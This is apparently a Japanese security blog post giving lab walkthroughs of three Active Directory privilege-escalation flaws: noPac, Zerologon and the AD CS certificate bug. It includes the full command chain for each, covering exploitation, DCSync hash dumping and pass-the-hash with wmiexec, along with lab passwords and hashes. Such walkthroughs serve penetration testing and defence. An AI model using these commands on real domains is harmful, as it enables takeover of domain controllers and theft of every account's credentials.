banner
B1ueD0g

BlueDog's Home

上班使我怨气比鬼重!
x
telegram
email

横向移動 - ドメインコントロールの権限昇格に関するいくつかの洞察

CVE-2021-42287#

Active Directory がドメイン内のコンピュータおよびサーバーアカウントの検証を行わないため、認証された攻撃者がこの脆弱性を利用して完全制限を回避し、ドメイン内の一般ユーザー権限をドメイン管理者権限に昇格させ、任意のコードを実行することができます。

利用条件#

前提条件:ドメイン内の一般アカウント 影響バージョン:Windows 基本全シリーズ

脆弱性再現#

画像現在のシナリオは以下の通りです。現在、Web Server のホスト権限と webadmin というドメインメンバーのアカウントとパスワードを取得しており、CVE-2021-42287 脆弱性を使用してドメインコントローラホストを攻撃します。ここでは nopac スクリプトを使用して利用します。攻撃前にこのドメイン名と IP アドレスを hosts にバインドします!画像

脆弱性の存在を検出

noPac.exe scan -domain god.org -user webadmin -pass admin!@#45

脆弱性が存在するため、次にドメインの一般ユーザーの TGT を使用して、脆弱性を利用して TGS をリクエストし、ドメインコントローラマシンアカウント cifs サービスの ST 証明書を取得します。

画像

noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org --impersonate administrator -dump -use-ldap

チケットを生成した後、現在のコンピュータ上に存在するチケットを確認します。

klist 

画像

ドメインコントローラと確立されたチケットがあることがわかります。ここでは直接 psexec で接続します。

PsExec \\owa2010cn-god.god.org cmd

画像

CVE-2020-1472#

CVE-2020-1472 は、Windows ドメインコントローラにおける最も深刻なリモート権限昇格の脆弱性であり、攻撃者は NetLogon を介して、ドメインコントローラとの間に脆弱なセキュリティチャネルを確立することで、この脆弱性を利用してドメイン管理者アクセス権を取得することができます。

まず、ドメインコントローラのコンピュータ名を取得します。

net group "domain controllers" /domain

画像次に、テストスクリプトを使用してこのドメインコントローラに脆弱性が存在するかどうかを検出します。

python zerologon_tester.py owa2010cn-god 192.168.3.21

画像

次に、exp を使用して DC の資格情報をクリアします。

python cve-2020-1472-exploit.py OWA2010CN-GOG 192.168.3.21

画像

実行後、DC のパスワードが空に設定され、その後、空のパスワードを使用してドメイン内のハッシュをエクスポートします。

secretsdump.exe "god.org/owa2010cn-god$@192.168.3.21" -no-pass

画像

この時、ドメインコントローラのハッシュを使用して PTH 接続を行い、ドメインコントローラの権限を取得します。

wmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/admin

画像

CVE-2022-26923#

この脆弱性により、低権限のユーザーが Active Directory 証明書サービス(AD CS)サーバーロールがインストールされたデフォルトの Active Directory 環境で権限をドメイン管理者に昇格させることができます。現在、AD CS がインストールされていない中規模から大規模な Active Directory 環境はほとんどないため、この脆弱性の危険性と利用性は高いです。

利用条件#

前提条件:

  1. ドメイン内の一般アカウント
  2. ドメイン内に証明書サーバーが存在すること

影響バージョン:win8.1、win10、win11、Windows Server 2012 R2、Windows Server2016、Windows Server2019、Windows Server2022 などのバージョン

環境構築#

まず、ドメインサービスが構築されたホストを準備します。ここでは Windows Server 2012R2 バージョンを選択します。この脆弱性は証明書サービスに基づいているため、DC に Active Directory 証明書サービスをインストールする必要があります。役割と機能の追加をクリックし、デフォルトで次へ進み、次の図を選択して Active Directory 証明書サービスをインストールします。画像次に、役割サービスで証明書発行機関、証明書発行機関 Web 登録、証明書登録ポリシー Web サービスを選択します!画像インストールをクリックします!画像

インストールが完了したら、Active Directory 証明書サービスを構成する必要があります。サーバーマネージャーでそのオプションをクリックします。画像インストール時に選択した 3 つのサービスを選択し、デフォルトで次へ進み、CA 名に進みます!画像CA 証明書を構成した後、次にサーバー証明書に進みます!画像サーバー証明書の中で、証明書を選択し、後で SSL に割り当てるためにクリックし、次へ進みます!画像次に構成します!画像構成が成功したかどうかを確認します:証明書発行機関で証明書テンプレートが存在するかどうかを確認します!画像この脆弱性の利用条件は、ドメイン内の一般ユーザー権限を取得することですので、DC 上にユーザーを作成する必要があります。その後、このユーザーの資格情報を使用してドメインコントローラの権限昇格操作を行います。画像

脆弱性利用#

CA 名の取得#

現在の私たちの既知の情報

ドメインコントローラWin 2012
    IP:192.168.45.152
    ホスト名:DC-2012
ドメイン:tidesec.local
ユーザー:test/Pass123

次に、最初のステップとしてこのドメイン内の CA 名を取得する必要があります。

  1. 任意のドメイン内ホストでクエリ
 証明書ドライブが存在するか確認
Get-PSDrive cert | ft -AutoSize

 ローカルマシンアカウントの証明書をリスト
Get-ChildItem Cert:\LocalMachine\Root

画像

  1. ドメインコントローラでクエリ
certutil
certutil -config - -ping

画像画像3. 合理的な推測 ドメインコントローラのホスト名とドメイン名に基づいて推測

ドメインコントローラのホスト名:DC-2012
ドメイン:tidesec.local
CA名:tidesec-DC-2012-CA

証明書の申請#

証明書を申請する前に、攻撃機の hosts ファイルを変更し、ドメイン名と IP アドレスを対応させる必要があります。

vim /etc/hosts
192.168.45.152 tidesec.local
192.168.45.152 tidesec-DC-2012-CA
192.168.45.152 DC-2012.tidesec.local

画像ここでは certipy ツールを使用する必要があり、使用前にインストールします。

python3 setup.py install

画像インストール後、先ほど取得した低権限ユーザー、CA 名、ドメインコントローラのコンピュータ名を使用して証明書を生成します。

certipy req tidesec.local'test:Pass123'@DC-2012.tidesec.local -ca tidesec-DC-2012-CA -template User

画像ceshi ユーザー証明書アカウントの申請に成功した後、コマンドを実行してその証明書を検証し、NT ハッシュ値を取得します。

certipy auth -pfx test.pfx

画像NT ハッシュを正常に取得できたため、テスト環境に問題はありません。次に、bloodyAD を使用して新しいコンピュータアカウントを作成する必要があります。新しいアカウントを作成する前に、現在のドメインコントローラの Computers 下にはアカウントがないことを観察します。画像次に、新しいアカウントを作成します。

 python3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 addComputer test2 'Test12345' 

画像この時、ドメインコントローラに test2 のコンピュータアカウントが正常に追加されたことを観察します。画像次に、その dNSHostName 属性をドメインコントローラサーバーの属性に設定します。

python3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 setAttribute 'CN=test2,CN=Computers,DC=tidesec,DC=local' dNSHostName '["DC-2012.tidesec.local"]'

画像画像次に、新しく作成したコンピュータアカウント test2 を使用して証明書を申請します。実際にはドメインコントローラ DC$ の証明書を申請しています。

certipy req 'tidesec.local/test2$:Test12345@192.168.45.152' -template Machine -dc-ip 192.168.45.152 -ca tidesec-DC-2021-CA

画像この時の証明書は test.pfx ではなく、ホスト名 dc-2012.pfx であり、発行されるのはドメインコントローラのコンピュータアカウント証明書です。次に、この証明書を使用して認証を行い、Certipy ツールが DC-2012$ の NTLM ハッシュを取得しました。

certipy auth -pfx dc-2012.pfx -dc-ip 192.168.45.152

画像その後、impacket ツールキットの secretsdump.py スクリプトを使用して DCSync 攻撃を実行し、ドメイン内のユーザーハッシュをエクスポートします。

python3 secretsdump.py 'tidesec.local/DC-2012$@DC-2012.tidesec.local' -hashes :20d4bd2f70725811f4e39fe77166e00b

画像その後、wmiexec.py スクリプトを使用してドメインコントローラアカウントの実行権限を取得します。

python3 wmiexec.py tidesec.local/administrator@192.168.45.152 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7

画像

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。